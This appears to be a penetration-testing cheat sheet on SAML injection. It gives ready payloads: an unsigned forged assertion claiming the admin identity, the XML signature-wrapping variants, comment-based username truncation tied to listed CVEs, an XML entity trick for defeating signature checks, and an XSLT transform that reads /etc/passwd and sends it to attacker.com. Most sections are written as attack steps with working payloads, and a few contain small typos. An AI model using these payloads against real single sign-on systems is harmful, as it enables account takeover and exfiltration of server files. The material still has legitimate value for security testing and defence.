SAML Injection #

Security Assertion Markup Language (SAML) is an open standard that allows security credentials to be shared by multiple computers across a network. When using SAML-based Single Sign-On (SSO), three distinct parties are involved. There is a user (the so-called principal), an IDentity Provider (IDP), and a cloud application Service Provider (SP). - centrify

Tools #

Authentication Bypass #

A SAML Response should contain the <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol".

Invalid Signature #

Signatures which are not signed by a real CA are prone to cloning. Ensure the signature is signed by a real CA. If the certificate is self-signed, you may be able to clone the certificate or create your own self-signed certificate to replace it.

Signature Stripping #

[…]accepting unsigned SAML assertions is accepting a username without checking the password - @ilektrojohn

The goal is to forge a well formed SAML Assertion without signing it. For some default configurations if the signature section is omitted from a SAML response, then no signature verification is performed.

Example of SAML assertion where NameID=admin without signature.

<?xml version="1.0" encoding="UTF-8"?>
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" Destination="http://localhost:7001/saml2/sp/acs/post" ID="id39453084082248801717742013" IssueInstant="2018-04-22T10:28:53.593Z" Version="2.0">
    <saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" Format="urn:oasis:names:tc:SAML:2.0:nameidformat:entity">REDACTED</saml2:Issuer>
    <saml2p:Status xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol">
        <saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
    </saml2p:Status>
    <saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" ID="id3945308408248426654986295" IssueInstant="2018-04-22T10:28:53.593Z" Version="2.0">
        <saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">REDACTED</saml2:Issuer>
        <saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameidformat:unspecified">admin</saml2:NameID>
            <saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
                <saml2:SubjectConfirmationData NotOnOrAfter="2018-04-22T10:33:53.593Z" Recipient="http://localhost:7001/saml2/sp/acs/post" />
            </saml2:SubjectConfirmation>
        </saml2:Subject>
        <saml2:Conditions NotBefore="2018-04-22T10:23:53.593Z" NotOnOrAfter="2018-0422T10:33:53.593Z" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml2:AudienceRestriction>
                <saml2:Audience>WLS_SP</saml2:Audience>
            </saml2:AudienceRestriction>
        </saml2:Conditions>
        <saml2:AuthnStatement AuthnInstant="2018-04-22T10:28:49.876Z" SessionIndex="id1524392933593.694282512" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml2:AuthnContext>
                <saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
            </saml2:AuthnContext>
        </saml2:AuthnStatement>
    </saml2:Assertion>
</saml2p:Response>

XML Signature Wrapping Attacks #

XML Signature Wrapping (XSW) attack, some implementations check for a valid signature and match it to a valid assertion, but do not check for multiple assertions, multiple signatures, or behave differently depending on the order of assertions.

XSW1 – Applies to SAML Response messages. Add a cloned unsigned copy of the Response after the existing signature.
XSW2 – Applies to SAML Response messages. Add a cloned unsigned copy of the Response before the existing signature.
XSW3 – Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion before the existing Assertion.
XSW4 – Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion within the existing Assertion.
XSW5 – Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed at the end of the SAML message.
XSW6 – Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed after the original signature.
XSW7 – Applies to SAML Assertion messages. Add an “Extensions” block with a cloned unsigned assertion.
XSW8 – Applies to SAML Assertion messages. Add an “Object” block containing a copy of the original assertion with the signature removed.

In the following example, these terms are used.

FA: Forged Assertion
LA: Legitimate Assertion
LAS: Signature of the Legitimate Assertion

<SAMLResponse>
  <FA ID="evil">
      <Subject>Attacker</Subject>
  </FA>
  <LA ID="legitimate">
      <Subject>Legitimate User</Subject>
      <LAS>
         <Reference Reference URI="legitimate">
         </Reference>
      </LAS>
  </LA>
</SAMLResponse>

In the Github Enterprise vulnerability, this request would verify and create a sessions for Attacker instead of Legitimate User, even if FA is not signed.

XML Comment Handling #

A threat actor who already has authenticated access into a SSO system can authenticate as another user without that individual’s SSO password. This vulnerability has multiple CVE in the following libraries and products.

OneLogin - python-saml - CVE-2017-11427
OneLogin - ruby-saml - CVE-2017-11428
Clever - saml2-js - CVE-2017-11429
OmniAuth-SAML - CVE-2017-11430
Shibboleth - CVE-2018-0489
Duo Network Gateway - CVE-2018-7340

Researchers have noticed that if an attacker inserts a comment inside the username field in such a way that it breaks the username, the attacker might gain access to a legitimate user’s account.

<SAMLResponse>
    <Issuer>https://idp.com/</Issuer>
    <Assertion ID="_id1234">
        <Subject>
            <NameID>user@user.com<!--XMLCOMMENT-->.evil.com</NameID>

Where user@user.com is the first part of the username, and .evil.com is the second.

XML External Entity #

An alternative exploitation would use XML entities to bypass the signature verification, since the content will not change, except during XML parsing.

In the following example:

&s; will resolve to the string "s"
&f1; will resolve to the string "f1"

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Response [
  <!ENTITY s "s">
  <!ENTITY f1 "f1">
]>
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"
  Destination="https://idptestbed/Shibboleth.sso/SAML2/POST"
  ID="_04cfe67e596b7449d05755049ba9ec28"
  InResponseTo="_dbbb85ce7ff81905a3a7b4484afb3a4b"
  IssueInstant="2017-12-08T15:15:56.062Z" Version="2.0">
[...]
  <saml2:Attribute FriendlyName="uid"
    Name="urn:oid:0.9.2342.19200300.100.1.1"
    NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
    <saml2:AttributeValue>
      &s;taf&f1;
    </saml2:AttributeValue>
  </saml2:Attribute>
[...]
</saml2p:Response>

The SAML response is accepted by the service provider. Due to the vulnerability, the service provider application reports “taf” as the value of the “uid” attribute.

Extensible Stylesheet Language Transformation #

An XSLT can be carried out by using the transform element.

Picture from http://sso-attacks.org/XSLT_Attack

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
  ...
    <ds:Transforms>
      <ds:Transform>
        <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
          <xsl:template match="doc">
            <xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
            <xsl:variable name="escaped" select="encode-for-uri($file)"/>
            <xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
            <xsl:variable name="exploitUrl"select="concat($attackerUrl,$escaped)"/>
            <xsl:value-of select="unparsed-text($exploitUrl)"/>
          </xsl:template>
        </xsl:stylesheet>
      </ds:Transform>
    </ds:Transforms>
  ...
</ds:Signature>